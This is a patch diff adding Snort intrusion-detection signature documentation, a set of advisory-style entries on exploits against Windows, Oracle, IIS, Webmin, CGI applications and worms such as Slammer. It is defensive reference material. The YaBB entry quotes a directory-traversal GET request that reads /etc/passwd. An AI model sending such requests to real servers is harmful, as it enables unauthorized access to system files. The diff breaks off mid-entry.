+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2702.txt
+++ snort-2.8.5.2/doc/signatures/2702.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+2702
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+--
+Affected Systems:
+	Oracle iSQLPlus
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000497.txt
+++ snort-2.8.5.2/doc/signatures/100000497.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000497
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "Calendarix" application running on a webserver. Access to 
+the file "cal_event.php" with SQL commands being passed as the "id" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "id" parameter in the "cal_event.php" script used by the 
+"Calendarix" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Calendarix
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/688.txt
+++ snort-2.8.5.2/doc/signatures/688.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an SQL database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the protected network.
+
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2202.txt
+++ snort-2.8.5.2/doc/signatures/2202.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2202
+
+--
+Summary:
+This event is generated when an attempt is made to access edit_action.cgi on an internal web server. This may indicate an attempt to exploit a directory traversal vulnerability in Webmin 0.91.
+
+--
+Impact:
+Information gathering, possible execution of system utilities to which Webmin has rights.
+
+--
+Detailed Information:
+Webmin is a web-based system administration tool for Linux and UNIX-based operating systems. A malicious user could use directory traversal techniques within an argument sent to the edit_action.cgi script in order to view hidden files on the server or execute programs to which Webmin has security privileges. 
+
+--
+Affected Systems:
+Systems running Webmin 0.91.
+
+--
+Attack Scenarios:
+An attacker creates a specially crafted an edit_action.cgi URL and transmits it to a vulnerable server. The attacker can then view or execute any arbitrary file included in the parameter, provided that Webmin has rights to access it. 
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses edit_action.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to Webmin 0.92 or higher.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/3698
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1047.txt
+++ snort-2.8.5.2/doc/signatures/1047.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1047
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3201.txt
+++ snort-2.8.5.2/doc/signatures/3201.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+3201
+
+--
+Summary:
+This event is generated when an attempt is made to access the file
+httpodbc.dll.
+
+--
+Impact:
+Serious. Remote code execution is possible.
+
+--
+Detailed Information:
+Versions of Microsoft Internet Information Server (IIS) and Microsoft
+Personal Web Server (PWS) are vulnerable to a directory traversal attack
+that may lead to access of certain sensitive system files.
+
+This event is generated when an attempt is made to access the file
+httpodbc.dll. This may indicate nimda worm activity.
+
+--
+Affected Systems:
+	Microsoft IIS 3.0
+	Microsoft IIS 4.0
+	Microsoft PWS
+
+--
+Attack Scenarios:
+This may indicate worm activity.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1678.txt
+++ snort-2.8.5.2/doc/signatures/1678.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1678
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3202.txt
+++ snort-2.8.5.2/doc/signatures/3202.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3202
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000816.txt
+++ snort-2.8.5.2/doc/signatures/100000816.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000816
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PC_CookBook" application running on a webserver. Access to the file "pccookbook.php" using a remote file being passed as the "mosConfig_absolute_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "mosConfig_absolute_path" parameter in the "pccookbook.php" script used by the "PC_CookBook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PC_CookBook
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/826.txt
+++ snort-2.8.5.2/doc/signatures/826.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+826
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2004.txt
+++ snort-2.8.5.2/doc/signatures/2004.txt
@@ -0,0 +1,85 @@
+Rule:  
+
+--
+Sid:
+2004
+
+--
+Summary:
+This event is generated when an attempt is made by the "Slammer" worm to
+compromise a Microsoft SQL Server. Specifically, this rule generates an 
+event when the worm activity eminates from the protected network.
+
+--
+Impact:
+A worm targeting a vulnerability in the MS SQL Server 2000 Resolution 
+Service was released on January 25th, 2003.  The worm attempts to 
+exploit a buffer overflow in the Resolution Service.  Because of the 
+nature of the vulnerability, the worm is able to attempt to compromise 
+other machines very rapidly.
+
+--
+Detailed Information:
+The Monitor Service provided by MS SQL and MSDE uses unchecked client
+provided data in an SQL version check function.
+
+The worm attempts to exploit a buffer overflow in this version request.
+If the worm sends too many bytes in the request that triggers the 
+version check, then a buffer overflow condition is triggered resulting 
+in a potential compromise of the SQL Server.
+
+This event is indicative of an existing infection on the protected 
+network. The event is generated on outgoing traffic.
+
+--
+Affected Systems:
+This vulnerability is present in unpatched MS SQL Servers.  The 
+following unpatched services containing MS SQL or Microsoft Desktop 
+Engine (MSDE) may potentially be compromised by this worm:
+
+* SQL Server 2000 (Developer, Standard, and Enterprise Editions)
+* Visual Studio .NET (Architect, Developer, and Professional Editions)
+* ASP.NET Web Matrix Tool
+* Office XP Developer Edition
+* MSDN Universal and Enterprise subscriptions
+
+--
+Attack Scenarios:
+This is worm activity.
+
+--
+Ease of Attack:
+Exploits for this vulnerability have been publicly published.
+
+A worm has been written that automatically exploits this vulnerability.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+Block external access to the MS SQL services on port 1433 and 1434 if 
+possible.
+
+Patches from Microsoft are available that fix this vulnerability.  The 
+patches are available from
+
+www.microsoft.com/technet/security/bulletin/MS02-039.asp
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2739.txt
+++ snort-2.8.5.2/doc/signatures/2739.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2739
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_nvarchar2
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/806.txt
+++ snort-2.8.5.2/doc/signatures/806.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+
+806
+
+--
+Summary:
+This event is generated when an attempt is made to access a file outside the root directory of a webserver running YaBB.cgi.
+
+
+--
+Impact:
+
+Information disclosure.
+
+--
+Detailed Information:
+
+YaBB.cgi is widely used web-based BBS script. Due to input validation problems in YaBB, a remote attacker can traverse the directory structure and view any files and view any file that a webserver has access to.
+
+This event indicates that a remote attacker has attempted to view a file outside the webservers root directory.
+
+--
+Affected Systems:
+
+YaBB YaBB 9.1.2000
+
+--
+Attack Scenarios:
+
+An attacker issues the following command on port 80 of the webserver:
+
+GET http://target/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../etc/passwd%00 HTTP/1.0
+
+--
+Ease of Attack:
+
+Simple. No exploit software required.
+
+--
+False Positives:
+
+None known.
+
+--
+False Negatives:
+
+None known.
+
+--
+Corrective Action:
+ 
+Update to the latest non-affected version of the software.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-4.txt
+++ snort-2.8.5.2/doc/signatures/122-4.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-4
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a tcp
+distributed portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/830.txt
+++ snort-2.8.5.2/doc/signatures/830.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+830
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000708.txt
+++ snort-2.8.5.2/doc/signatures/100000708.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000708
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SmartSiteCMS" application running on a webserver. Access to the file "comedit.php" using a remote file being passed as the "root" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root" parameter in the "comedit.php" script used by the "SmartSiteCMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SmartSiteCMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1679.txt
+++ snort-2.8.5.2/doc/signatures/1679.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1679
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1249.txt
+++ snort-2.8.5.2/doc/signatures/1249.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1249
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3156.txt
+++ snort-2.8.5.2/doc/signatures/3156.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3156
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
